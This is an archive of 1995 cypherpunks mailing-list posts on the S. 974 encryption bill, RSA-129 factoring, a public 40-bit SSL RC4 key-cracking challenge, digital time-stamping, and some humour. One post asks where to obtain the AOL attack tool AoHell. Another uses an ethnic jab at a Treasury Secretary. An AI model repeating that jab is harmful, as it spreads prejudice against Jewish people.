(wiretapping), and 42 USC 2000aa (Privacy Protection Act).

This proposed legislation is Very Bad. It would make all encryption
software posted to computer networks that are accessible to foreigners
illegal *regardless of whether the NSA has classified the software as a
munition!!!*  Here's the language:

 "Sec. 1030A.  Racketeering-related crimes involving computers
   "(a) It shall be unlawful--

. . .

      "(2) to distribute computer software that encodes or encrypts
    electronic or digital communications to computer networks that the
    person distributing knows, or reasonably should know, is accessible to
    foreign nationals and foreign governments, regardless of whether such
    software has been designated nonexportable."









From hayden at krypton.mankato.msus.edu  Wed Jul 12 14:46:05 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Wed, 12 Jul 95 14:46:05 PDT
Subject: Dr. Seuss, Technical Writer
In-Reply-To: <199507121756.KAA04759@netcom5.netcom.com>
Message-ID: <Pine.ULT.3.91.950712164553.5003A-100000@krypton.mankato.msus.edu>


Thanks so much for lightening my day.  Submit it to rec.humour.funny.

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From rah at shipwright.com  Wed Jul 12 14:51:31 1995
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 12 Jul 95 14:51:31 PDT
Subject: [rah@shipwright.com: Re: digital monies]
Message-ID: <v02120d02ac29f2cdda83@[199.0.65.105]>


Steve,

I'm forwarding this to cypherpunks, where this posting originated. Always
ready to set the record straight. By the way, could I have an email copy of
your original posting/publicity material for this, I'm curious about where
it was announced to the net. Tighten up my links to the straight dope, etc.

Thanks!

Bob Hettinga


>Bob,
>
>Carl Ellison at TIS brought this to my attention.  We'll provide you with a
>lengthier response in a bit, but let me comment briefly that the following
>contains a number of inaccuracies.  Two of particular note: Citibank is not
>a principal in CyberCash, and the vaporware footnote is peculiar because
>our system has been operational since early April and the client software,
>which runs as a "viewer" with a number of browsers, is available from our
>web site for downloading around the world.
>
>Steve
>
>
>>CyberCash
>>The last I heard from these guys, a "consortium" of various heavies like RSA
>> and I believe Citibank even, was an article plastered all over the
>>Marketing section of the Wall Street Journal last fall. To my knowlege they
>>haven't come up for air. My memory of 'consortia' like this one, and
>>Citicorp in particular (who was trying to reverse engineer Chaum's Digicash
>>patent last time I looked), leads me to believe this dog won't hunt, or at
>>least not until the coon's already been treed, anyway. Cf: Citi's Quotron
>>boondoggle.
>
>--------------------
>Steve Crocker
>CyberCash, Inc., Suite 430                        Work: +1 703 620 4200
>2100 Reston Parkway                               Fax:  +1 703 620 4215
>Reston, VA 22091                                  crocker at cybercash.com

-----------------
Robert Hettinga (rah at shipwright.com)
Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
USA (617) 323-7923
"Reality is not optional." --Thomas Sowell
>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<







From cme at TIS.COM  Wed Jul 12 15:06:59 1995
From: cme at TIS.COM (Carl Ellison)
Date: Wed, 12 Jul 95 15:06:59 PDT
Subject: NSA, Random Number Generation, Soviet Codes, Prohibition of Crypto
In-Reply-To: <199507122014.NAA19181@comsec.com>
Message-ID: <9507122202.AA13704@tis.com>


If I remember correctly from "Spycatcher", the Soviets misused the one time
pad allowing the Verona breaks, by using it twice, not by making slightly
weak rannos.

Of course, in this business, anything you read/hear could be a cover
story.

 - Carl

+--------------------------------------------------------------------------+
|Carl M. Ellison    cme at acm.org    http://www.clark.net/pub/cme/home.html  |
|PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2  |
|  ``Officer, officer, arrest that man!  He's whistling a dirty song.''    |
+----------------------------------------------------------- Jean Ellison -+






From foodie at netcom.com  Wed Jul 12 15:09:51 1995
From: foodie at netcom.com (Bryna Bank/Jamie Lawrence)
Date: Wed, 12 Jul 95 15:09:51 PDT
Subject: Anti-Racketeering Act
Message-ID: <199507122200.PAA23874@netcom14.netcom.com>


>    "(a) It shall be unlawful--
> 
> . . .
> 
>       "(2) to distribute computer software that encodes or encrypts
>     electronic or digital communications to computer networks that the
>     person distributing knows, or reasonably should know, is accessible to
>     foreign nationals and foreign governments, regardless of whether such
>     software has been designated nonexportable."

Oh no - I can already see the T-shirt ideas congealing in people's minds:

Lbh�er Ohfgrq

in big block letters.

-j

-- 
On the internet, nobody knows you're a deity.
__________________________________________________________________________
Jamie Lawrence and Bryna Bank                          <foodie at netcom.com>




From alanh at infi.net  Wed Jul 12 15:20:52 1995
From: alanh at infi.net (Alan Horowitz)
Date: Wed, 12 Jul 95 15:20:52 PDT
Subject: RACIST MILITIA: ATF
In-Reply-To: <m0sVs4F-000BYfC@dorite1.iquest.net>
Message-ID: <Pine.3.89.9507121842.A22054-0100000@larry>


Has anyone got the address of the Southern Poverty Law Center? Wonder if 
they will go apeshit putting out press releases against the racist 
activities happening during the watch of TReasury Secretary Robert Rubin, 
a Nice Liberal Jewish Boy.....

Alan Horowitz
alanh at infi.net






From bal at martigny.ai.mit.edu  Wed Jul 12 15:21:13 1995
From: bal at martigny.ai.mit.edu (Brian A. LaMacchia)
Date: Wed, 12 Jul 95 15:21:13 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SOL.3.91.950712171632.1850A-100000@use.usit.net>
Message-ID: <9507122221.AA24506@toad.com>


   Date: Wed, 12 Jul 1995 15:28:25 -0400
   Subject: Anti-Electronic Racketeering Act of 1995

   On June 27, Sen. Grassley introduced extensive criminal amendments to the
   federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
   1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
   18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
   (wiretapping), and 42 USC 2000aa (Privacy Protection Act).

   This proposed legislation is Very Bad. It would make all encryption
   software posted to computer networks that are accessible to foreigners
   illegal *regardless of whether the NSA has classified the software as a
   munition!!!*  Here's the language:

    "Sec. 1030A.  Racketeering-related crimes involving computers
      "(a) It shall be unlawful--

   . . .

	 "(2) to distribute computer software that encodes or encrypts
       electronic or digital communications to computer networks that the
       person distributing knows, or reasonably should know, is accessible to
       foreign nationals and foreign governments, regardless of whether such
       software has been designated nonexportable."

It's much worse than this.  Look at the definition of "predicate act":

            `(b) For purposes of this section, each act of distributing
          software is considered a separate predicate act. Each instance in
          which nonexportable software is accessed by a foreign government, 
          an agent of a foreign government, a foreign national, or an agent 
          of a foreign national, shall be considered as a separate predicate
          act.

Now, since the bill also makes 1030A violations "racketeering
activities", all you need are two predicate acts and RICO comes into
play.  

Finally, we begin to see the attack on all forms of un-escrowed
encryption.  The bill provides an affirmable defense of
giving the keys to the government ahead of time!

            `(c) It shall be an affirmative defense to prosecution under this
          section that the software at issue used a universal decoding device
          or program that was provided to the Department of Justice prior to
          the distribution.'.

There are also some nice surprises related to wiretapping evidence
(would allow the gov't. to use the fruits of an illegal wiretap
conducted by a third party if the government didn't know about the
wiretap) and the Privacy Protection Act.

Get a copy of this bill from:

		ftp://ftp.loc.gov/pub/thomas/c104/s974.is.FTP

and read it.  

					--bal





From sdw at lig.net  Wed Jul 12 16:14:04 1995
From: sdw at lig.net (Stephen D. Williams)
Date: Wed, 12 Jul 95 16:14:04 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <9507122105.AA11297@snark.imsi.com>
Message-ID: <m0sWBfu-0009ydC@sdwsys>


> 
> 
> Stephen D. Williams writes:
> > It occurred to me that it wouldn't be too tough to have one CFSD
> > open a TCP/socket connection to another CFSD and pass file access
> > requests instead of implementing them locally.  The encryption
> > of the ssh link and the on disk encryption of CFSD should be a 
> > good combination.
> 
> The whole point of CFS was that you could mount remote devices that
> were encrypted and decrypt them locally. CFS acts like a scrim over
> existing file systems. If the remote machine has your keys on it
> you've reduced security and, seemingly to me, gained very little.
> 
> Now, what *would* be really neat would be an implementation of CFS in
> kernel under 4.4lite using the stacked vnode architecture. It would
> probably be fairly simple to do it, and you wouldn't have any context
> switches or the like when cfs'ing...
> 
> Perry

That's true.  I was thinking in terms of traversing firewalls in a
safe fashion rather than where normal SUN/RPC NFS is available.

For this, using CFS and SSH together seems appropriate.

sdw
-- 
Stephen D. Williams 25Feb1965 VW,OH (FBI ID) sdw at lig.net http://www.lig.net/sdw
Consultant, Vienna,VA Mar95- 703-918-1491W 43392 Wayside Cir.,Ashburn, VA 22011
OO/Unix/Comm/NN       ICBM/GPS: 39 02 37N, 77 29 16W home, 38 54 04N, 77 15 56W
Pres.: Concinnous Consulting,Inc.;SDW Systems;Local Internet Gateway Co.;28May95




From jya at pipeline.com  Wed Jul 12 16:23:57 1995
From: jya at pipeline.com (John Young)
Date: Wed, 12 Jul 95 16:23:57 PDT
Subject: RACIST MILITIA: ATF
Message-ID: <199507122323.TAA19392@pipe4.nyc.pipeline.com>



Responding to msg by alanh at infi.net (Alan Horowitz) on Wed, 12 
Jul  6:21 PM



For those in time-zones west of NYC, NBC Lightly News covers 
the ATF happy campers, and interviews the majordomo, who 
solemnly meins that he will investigate and do what's right.


Another NBC LN item: DOJ is to "re-open" the look at the Ruby 
Ridge carnage.









From rross at sci.dixie.edu  Wed Jul 12 16:28:28 1995
From: rross at sci.dixie.edu (Russell Ross)
Date: Wed, 12 Jul 95 16:28:28 PDT
Subject: RSA129 Project
Message-ID: <v01520d00ac2a09c57dc2@[144.38.16.209]>


Could someone point me to information about the RSA129 factoring project?
I would like the see the programs involved, and learn a little about the
coordinating efforts.

-----------------------------------------------------------
Russell Ross                     email: rross at sci.dixie.edu
1260 N 1280 W                    voice: (801)628-8146
St. George, UT 84770-4953







From cme at TIS.COM  Wed Jul 12 16:33:37 1995
From: cme at TIS.COM (Carl Ellison)
Date: Wed, 12 Jul 95 16:33:37 PDT
Subject: Capt. Midnight decoder badges
Message-ID: <9507122330.AA18388@tis.com>


 25 13 23   20 26 2   17 13   16 11 12 18   9 12 16 11 13 23 16
 7 2 13 9 12 2 5   16 11 4   7 4 25.    11 13 9   15 13 2 5   17 13 4 18
 12 16   16 26 7 4? 







From mab at research.att.com  Wed Jul 12 16:36:54 1995
From: mab at research.att.com (Matt Blaze)
Date: Wed, 12 Jul 95 16:36:54 PDT
Subject: the sound of another shoe dropping...
Message-ID: <9507122338.AA06723@merckx.info.att.com>



------- Forwarded Message
Forwarded message:
>From farber at eff.org  Wed Jul 12 16:41:13 1995
Posted-Date: Wed, 12 Jul 1995 15:28:18 -0400
X-Sender: farber at linc.cis.upenn.edu
Message-Id: <v02110184ac29d2a1b404@[130.91.88.102]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 1 (Highest)
Date: Wed, 12 Jul 1995 15:28:25 -0400
From: farber at central.cis.upenn.edu (David Farber)
Subject: Anti-Electronic Racketeering Act of 1995
Precedence: list
To: interesting-people at eff.org (interesting-people mailing list)
X-Proccessed-By: mail2list

Date: Wed, 12 Jul 1995 14:00:23 -0400
From: ssteele at eff.org (Shari Steele)

Heavy sigh.
On June 27, Sen. Grassley introduced extensive criminal amendments to the
federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
(wiretapping), and 42 USC 2000aa (Privacy Protection Act).

This proposed legislation is Very Bad. It would make all encryption
software posted to computer networks that are accessible to foreigners
illegal *regardless of whether the NSA has classified the software as a
munition!!!*  Here's the language:

 "Sec. 1030A.  Racketeering-related crimes involving computers
   "(a) It shall be unlawful--

. . .

      "(2) to distribute computer software that encodes or encrypts
    electronic or digital communications to computer networks that the
    person distributing knows, or reasonably should know, is accessible to
    foreign nationals and foreign governments, regardless of whether such
    software has been designated nonexportable."

I'm up to my ears in analyses that need to be written, but I'll send around
something more complete when I'm able to pull it together.
Shari




------- End of Forwarded Message






From perry at imsi.com  Wed Jul 12 16:41:50 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 16:41:50 PDT
Subject: the sound of another shoe dropping...
In-Reply-To: <9507122338.AA06723@merckx.info.att.com>
Message-ID: <9507122341.AA11589@snark.imsi.com>



> On June 27, Sen. Grassley introduced extensive criminal amendments to the
> federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
> 1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
> 18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
> (wiretapping), and 42 USC 2000aa (Privacy Protection Act).

Needless to say, this must be stopped. This time, it can't be handled
via silly petitions.


Perry





From warlord at MIT.EDU  Wed Jul 12 16:53:01 1995
From: warlord at MIT.EDU (Derek Atkins)
Date: Wed, 12 Jul 95 16:53:01 PDT
Subject: RSA129 Project
In-Reply-To: <v01520d00ac2a09c57dc2@[144.38.16.209]>
Message-ID: <199507122352.TAA04306@toxicwaste.media.mit.edu>


If you look at ftp://toxicwaste.mit.edu/pub/rsa129 you will find a lot
of documentation on the RSA-129 project, including the call-to-arms,
program distributions, papers, etc.

I wouldn't call this the canonical site, but I tried to make available
most everything that I could find on the project while it was running
and afterwards.

Enjoy!

-derek






From jim at acm.org  Wed Jul 12 17:07:01 1995
From: jim at acm.org (Jim Gillogly)
Date: Wed, 12 Jul 95 17:07:01 PDT
Subject: RSA129 Project
In-Reply-To: <v01520d00ac2a09c57dc2@[144.38.16.209]>
Message-ID: <199507130006.RAA22366@mycroft.rand.org>



> rross at sci.dixie.edu (Russell Ross) writes:
> Could someone point me to information about the RSA129 factoring project?
> I would like the see the programs involved, and learn a little about the
> coordinating efforts.

There's a PostScript paper, programs, and coordinating tools at
ftp.ox.ac.uk:pub/math/rsa129

	Jim Gillogly
	Highday, 20 Afterlithe S.R. 1995, 00:06





From rah at shipwright.com  Wed Jul 12 17:40:12 1995
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 12 Jul 95 17:40:12 PDT
Subject: Road trip
Message-ID: <v02120d00ac2a18ee888c@[199.0.65.105]>


-----BEGIN PGP SIGNED MESSAGE-----

I'm going to be in San Francisco (Walnut Creek, really) Saturday, Sunday,
and Monday.

Anyone up for a beer?

Cheers,
Bob Hettinga

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMARo7vgyLN8bw6ZVAQF6ygP/fDnuvdAhGlDWsSMXUIRMuNHYzdZ00cqk
Db/Tc2+DuhuEa6GU03AgZY8K9t5r9iua34E68pCxogUz009b1OcjNt6+o+704Z3j
1YY9ijYM8BWNaSp9L2W4nUuWBdIyIWyol/2PjjRVNZEtqtSRQnPEpJ2IHtz9iGov
Hf0SqhSZKZs=
=+Q3I
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah at shipwright.com)
Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
USA (617) 323-7923
"Reality is not optional." --Thomas Sowell
>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<







From hayden at krypton.mankato.msus.edu  Wed Jul 12 18:16:24 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Wed, 12 Jul 95 18:16:24 PDT
Subject: RSA129 Project
In-Reply-To: <199507130006.RAA22366@mycroft.rand.org>
Message-ID: <Pine.ULT.3.91.950712201521.9580A-100000@krypton.mankato.msus.edu>


Speaking of RSA129, we were talking on mn.general about how interesting 
it would be to try another distributed RSA attack at a larger key (the 
number of 512-bits was thrown around).  Are there currently any plans to 
attempt another one of these?  I'd love to get our MasPAR cracking on 
something.

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From merzbow at ibm.net  Wed Jul 12 18:29:49 1995
From: merzbow at ibm.net (Dan Bailey)
Date: Wed, 12 Jul 95 18:29:49 PDT
Subject: UNWANTED KEYSPACE
Message-ID: <199507130129.AA44622@ibm.net>


I allocated way too many keys by getting interrupted (my ISP crashed)
then pressing the wrong submit button.  Here they are:
cd70000000 31
cdf0000000 31
ce70000000 31
cef0000000 31
cf70000000 31
cff0000000 31
d070000000 31
d0f0000000 31
d170000000 31
d1f0000000 31
d270000000 31
d2f0000000 31
d370000000 31
d3f0000000 31
d470000000 31
d4f0000000 31
d570000000 31
d5f0000000 31
d670000000 31
d6f0000000 31
d770000000 31
d7f0000000 31
d870000000 31
d8f0000000 31
d970000000 31
d9f0000000 31
da70000000 31
daf0000000 31
db70000000 31
dbf0000000 31
dc70000000 31
dcf0000000 31







From cman at communities.com  Wed Jul 12 19:01:26 1995
From: cman at communities.com (Douglas Barnes)
Date: Wed, 12 Jul 95 19:01:26 PDT
Subject: AoHell
Message-ID: <v02120d0cac2993d9764c@[199.2.22.120]>



Does anybody know about where to get this? (If this was discussed
here during my cypherpunks-viewing hiatus, I apologize).








From roger at coelacanth.com  Wed Jul 12 19:14:13 1995
From: roger at coelacanth.com (Roger Williams)
Date: Wed, 12 Jul 95 19:14:13 PDT
Subject: Is there a moderator in your future?
In-Reply-To: <9507102137.AA26662@spirit.aud.alcatel.com>
Message-ID: <rogerwxdprf5j.fsf@sturgeon.coelacanth.com>


In article <9507102137.AA26662 at spirit.aud.alcatel.com> droelke at spirit.aud.alcatel.com (Daniel R. Oelke) writes:

   > Why is Dyson of EFF enthusiastic about the concept?

   Because as moderators add value to the vast amount of stuff
   out there.  Why do some people pay to get a restricted subset
   of the cypherpunks?  Because they don't want the massive flow
   of wide open communications and they *trust* the person
   giving them the subset.  

   Moderators provide a great service, and it is finially being
   recognized as such in a monetary way.  I think that this 
   is a great thing!

I agree that moderated groups are useful at keeping the SNR high, and
are a great choice for those who can't or haven't time to set up their
own filters. However, they can't solve the problems that the Internet
is popularly supposed to have (e.g. no provisions for eliminating
parental responsibility).  Even supposing that US ISPs are *prohibited
by law* from carrying unmoderated Usenet groups, how does this address
all of the other services (current and future) that can be carried by
the Internet?  Sorry, the horse is out of the stable, and the only 99%
control option open to the government now is cutting the phone lines
at the border.

If an individual (e.g. a parent) wants to limit net access for certain
services to emasculated resources, perhaps Microsoft Restrict (TM) and
Prodigy can provide a desired service.  Otherwise, the solution to the
problem has to lie closer to home.

-- 
Roger Williams  --  Coelacanth Engineering  --  Middleborough, Mass

#!/usr/local/bin/perl -s-- -export-a-crypto-system-sig -RSA-in-3-lines-PERL
($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2%
Sa2/d0<X+d*La1=z\U$n%0]SX$k"[$m*]\EszlXx++p|dc`,s/^.|\W//g,print pack('H*'
,$_)while read(STDIN,$m,($w=2*$d-1+length($n||die"$0 [-d] k n\n")&~1)/2)





From tedwards at src.umd.edu  Wed Jul 12 19:36:38 1995
From: tedwards at src.umd.edu (Thomas Grant Edwards)
Date: Wed, 12 Jul 95 19:36:38 PDT
Subject: SSL RC4 challenge
In-Reply-To: <199507122003.PAA02843@proust.suba.com>
Message-ID: <Pine.SUN.3.91.950712223441.13007A-100000@thrash.src.umd.edu>


On Wed, 12 Jul 1995, alex wrote:

> Can't we hold off a few weeks on this, so that we can all short the stock 
> once it's been offered? <g>

Hmm...well, considering we have yet to break the first 40-bit RC4 key 
(with 87.1 of the keyspace searched), I think it might be a bit early to 
make financial decisions based on our cracking abilities.

-Thomas






From anthony at atanda.com  Wed Jul 12 19:40:05 1995
From: anthony at atanda.com (Anthony Templer)
Date: Wed, 12 Jul 95 19:40:05 PDT
Subject: Road trip
Message-ID: <v02120c00ac2a375c10b6@[204.162.11.3]>


At 8:40 PM 7/12/95, Robert Hettinga wrote:
>I'm going to be in San Francisco (Walnut Creek, really) Saturday, Sunday,
>and Monday.
>
>Anyone up for a beer?
>
>Cheers,
>Bob Hettinga

Bob, I've enjoyed your postings and would like to buy you a beer and chat
for a while. I'm in Oakland. There's a great pub (30 taps) right around the
corner from my house. Or do you have a place in mind in Walnut Creek for
the hoisting?

Regards,
Anthony


"We are what we repeatedly do.
 Excellence, then, is not an act,
 but a habit."
                Aristotle







From don at cs.byu.edu  Wed Jul 12 19:53:26 1995
From: don at cs.byu.edu (Donald M. Kitchen)
Date: Wed, 12 Jul 95 19:53:26 PDT
Subject: RC4
Message-ID: <199507130301.VAA18401@zeezrom.cs.byu.edu>


I was trying to throw a few already wasted CPU cycles to the RC4 bit,
but had some problems getting the cypher and plain files. (I can't "save
next link", only "save current" which sometimes doesn't work well.)

So anyway, I decide to run a 24 bit test run on what I've got, using the
"extra allocated" keyspace. It says got it at c70014639. Since I know I'm
not lucky enough to pick the 5 seconds worth of CPU time that would work,
I think someone better send me (by email thanks, lets not clutter the
list) the uue of the cypher and plain. I ran the dos version, BTW, but I'm
going to compile under Linux. 

When we decide _which_ key we're going to crack, I could finagle basically
full cpu time on about 10 hp9000's for 6 hours a day. Would that help? ;)

Don




From wilcoxb at nagina.cs.colorado.edu  Wed Jul 12 21:14:37 1995
From: wilcoxb at nagina.cs.colorado.edu (Bryce Wilcox)
Date: Wed, 12 Jul 95 21:14:37 PDT
Subject: No Subject
Message-ID: <199507130414.WAA15848@nagina.cs.colorado.edu>


-----BEGIN PGP SIGNED MESSAGE-----



There was some discussion on c-punks a little while back about exchanging
DigiCash cyberbucks for other currencies (namely US$, as I recall).  Is
there a list or Web page where I can participate in such a market?  Thanks.


Bryce
signatures follow
        /================---------------
 Bryce Wilcox                   "Pretty Good Privacy" encrypted mail preferred
 bryce.wilcox at colorado.edu                               finger for public key
                                     ---------------================/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.1

iQCVAwUBMASWRJCUT4gUihHlAQGSUgP/WvL/OSzFl8l6PH60D1IK9gT/OAhNc9tm
1jOyKx1shbq0DNUG9uGlJksz/a7gBD20Li6t/7pQkxQbAqIY9vTPiyu3ectRD7c7
9Yqh+jQRXR3+vyE7duD0z1BLs8kSmzmP6/LX5UYx4uJwKT9q+TnOP1S7Nh5PQh0m
BB1CRr5I54M=
=dLV7
-----END PGP SIGNATURE-----





From wilcoxb at nagina.cs.colorado.edu  Wed Jul 12 21:14:38 1995
From: wilcoxb at nagina.cs.colorado.edu (Bryce Wilcox)
Date: Wed, 12 Jul 95 21:14:38 PDT
Subject: No Subject
Message-ID: <199507130414.WAA15851@nagina.cs.colorado.edu>


-----BEGIN PGP SIGNED MESSAGE-----

 

I am searching for a time-stamping service that will sign some data of mine
(or a hash thereof) along with a certificate indicating what time(,date,year)
the signing occurred.  I want to use this to substantiate my claim that I
was in possession of this data before others were.  (Useful for copyrights/
patents, and possibly other things.)


(Of course, I could just encrypt the data, PGP-authentify it with my
private key, and post it to UseNet, but this strikes me as inefficient and
impolite.)


If anyone knows where I can find such a service please post here or 
e-mail me.  Thanks.


Bryce
signatures follow
        /================---------------
 Bryce Wilcox                   "Pretty Good Privacy" encrypted mail preferred
 bryce.wilcox at colorado.edu                               finger for public key
                                     ---------------================/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.1

iQCVAwUBMASWV5CUT4gUihHlAQFckgP8CJJrkY4hTJ1u8uOHZ2N5QfGzYWelv9n7
zXS5bcTxqT8RvHLV8Q+Ay2fbwMrtJmlnF1qWZvDACIUH6M+gYo92vtvaYeVrwv1m
pOu8Ci70dGErhHINNSXeZK6QbgIp/Rh9DyubwaMFjnNO9fRhUF3X45qidnwp3x/C
+zKOoDh0liM=
=lmh8
-----END PGP SIGNATURE-----





From tcmay at sensemedia.net  Wed Jul 12 21:54:16 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Wed, 12 Jul 95 21:54:16 PDT
Subject: Surety Digital Notary Service
Message-ID: <ac29f4de07021004e15a@[205.199.118.202]>



(There was no message name on this message, so I've created one.)

At 4:14 AM 7/13/95, Bryce Wilcox wrote:
>I am searching for a time-stamping service that will sign some data of mine
>(or a hash thereof) along with a certificate indicating what time(,date,year)
>the signing occurred.  I want to use this to substantiate my claim that I
>was in possession of this data before others were.  (Useful for copyrights/
>patents, and possibly other things.)

Digital time-stamping is a recurring theme on this list. Info can be found
in the Cypherpunks archives, in my Cyphernomicon FAQ, and, most easily, by
contacting Surety at:

http://www.surety.com/


--Tim May




..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From johnl at radix.net  Wed Jul 12 23:00:07 1995
From: johnl at radix.net (johnl at radix.net)
Date: Wed, 12 Jul 95 23:00:07 PDT
Subject: Don't trust the net too much
Message-ID: <9507130556.AA0046@dialin3.annex1.radix.net>


> A transistor radio puts out such a minute amount of RF (at 455 KHz and/or
> 10.7 MHz, the IF freqs of the radio) that most insturments designed to
> pick up RF can't detect this stuff from more than a few feet away.

The problem is caused by local oscillator radiation interfering with
the ILS receiver. Tune a FM broadcast band receiver to the right frequency and
you get local oscillator radiation at (f + 10.7 MHz), right in the
middle of the aviation band. 

//----------------------------------------------------------------------------
// John A. Limpert
// johnl at radix.net





From johnl at radix.net  Wed Jul 12 23:31:27 1995
From: johnl at radix.net (johnl at radix.net)
Date: Wed, 12 Jul 95 23:31:27 PDT
Subject: No Subject
Message-ID: <9507130630.AA0049@dialin3.annex1.radix.net>


> I am searching for a time-stamping service that will sign some data of mine
> (or a hash thereof) along with a certificate indicating what time(,date,year)
> the signing occurred.  I want to use this to substantiate my claim that I
> was in possession of this data before others were.  (Useful for copyrights/
> patents, and possibly other things.)

I think Bellcore is providing a service like that. Check out their
WWW site (www.bellcore.com).

//----------------------------------------------------------------------------
// John A. Limpert
// johnl at radix.net





From tfs at vampire.science.gmu.edu  Wed Jul 12 23:57:19 1995
From: tfs at vampire.science.gmu.edu (Tim Scanlon)
Date: Wed, 12 Jul 95 23:57:19 PDT
Subject: something to scare the *piss* out of ya
In-Reply-To: <ac1a3b190e021004ebf7@[205.199.118.202]>
Message-ID: <9507130656.AA09050@vampire.science.gmu.edu>



If this story is true, and can be substantiated, why the hell wern't
the cops involved prosecuted, or walked out to a wall
and summarily shot for crimes against humanity.

The last time I checked torture and dismemberment were
war crimes, and intolerable behavior in civilized nations.

If it *IS* true there goddamn well should be congressional
hearings on it. I would suggest contacting any of the
local news media in DC, but would reccommend the
local ABC affiliate, WJLA for contact since they are in the
midst of tearing the ATF a new asshole (and are going to do
the same to the FBI tomorrow night from what they say) over
the Waco raid.

The ABC affiliate here has caused new Senate hearings apparently,
it seems that the longer things go on, the more nastiness is dragged
out on this.

If this bit wasn't true, then it's despicable propaganda, and anyone
involved with it's distribution should be ashamed of themselves.
I do not believe liberty and democracy can easily survive if citizens
or public servants lie. True strength lives in honest discourse and
the actions of reasoned men, acting in a thoughtful and honest
manner.

It's damned easy to run around splattering the net with nasty
scare stories about the evils of LEO's, but it takes a bit
more to actually do something. I'd say with stuff like this
the best course would be to put up, and contact your elected
offcials, or shut up. Becasue if it is true, no decent person
should tolerate it. And if it isn't, damn the persons who lie
for obscuring the truth.



Tim Scanlon



________________________________________________________________
tfs at vampire.science.gmu.edu (NeXTmail, MIME)  Tim Scanlon
George Mason University     (PGP key avail.)  Public Affairs
I speak for myself, but often claim demonic possession





From Christopher.Baker at f14.n374.z1.fidonet.org  Thu Jul 13 00:23:32 1995
From: Christopher.Baker at f14.n374.z1.fidonet.org (Christopher Baker)
Date: Thu, 13 Jul 95 00:23:32 PDT
Subject: Dr. Seuss, Technical Writer
Message-ID: <92e_9507121909@borderlin.quake.com>



In a message dated: 11 Jul 95, you stated:

>               What If Dr. Seuss Did Technical Writing?
>
> Here's an easy game to play.
> Here's an easy thing to say:

what if there was a complete version of this rhyme?

--- Following message extracted from REC.ORG.MENSA @ 1:374/14 ---
    By Christopher Baker on Thu Dec 15 11:27:49 1994

From: Mike Steiner
To: All
Date: 15 Dec 94  02:40:52
Subj: Bits in a Box
From: steiner at best.com (Mike Steiner)
Organization: Society for the Preservation of Endangered Societies

            A Grandchild's Guide to Using Grandpa's Computer
 
 
                     Bits   Bytes   Chips   Clocks
                     Bits in bytes on chips in box.
                 Bytes with bits and chips with clocks.
                      Chips in box on ether-docks.
 
             Chips with bits come.  Chips with bytes come.
               Chips with bits and bytes and clocks come.
 
               Look, sir. Look, sir. Read the book, sir.
               Let's do tricks with bits and bytes, sir.
              Let's do tricks with chips and clocks, sir.
 
               First, I'll make a quick trick bit stack.
                Then I'll make a quick trick byte stack.
                 You can make a quick trick chip stack.
                You can make a quick trick clock stack.
 
                  And here's a new trick on the scene.
                    Bits in bytes for your machine.
                  Bytes in words to fill your screen.
 
                  Now we come to ticks and tocks, sir.
                   Try to say this by the clock, sir.
 
                         Clocks on chips tick.
                         Clocks on chips tock.
                         Eight byte bits tick.
                         Eight bit bytes tock.
               Clocks on chips with eight bit bytes tick.
              Chips with clocks and eight byte bits tock.
 
                      Here's an easy game to play.
                    Here's an easy thing to say....
 
            If a packet hits a pocket on a socket on a port,
            and the bus is interupted as a very last resort,
       and the address of the memory makes your floppy disk abort
         then the socket packet pocket has an error to report!
 
          If your cursor finds a menu item followed by a dash,
      and the double-clicking icon puts your window in the trash,
       and your data is corrupted cause the index doesn't hash,
     then your situation's hopeless, and your system's gonna crash!
 
                 You can't say this? What a shame, sir!
                   We'll find you another game, sir.
 
          If the label on the cable on the table at your house
       says the network is connected to the button on your mouse,
          but your packets want to tunnel on another protocol,
        that's repeatedly rejected by the printer down the hall,
     and your screen is all distorted by the side-effects of gauss,
         so your icons in the window are as wavy as a souse,
          then you may as well reboot and go out with a bang,
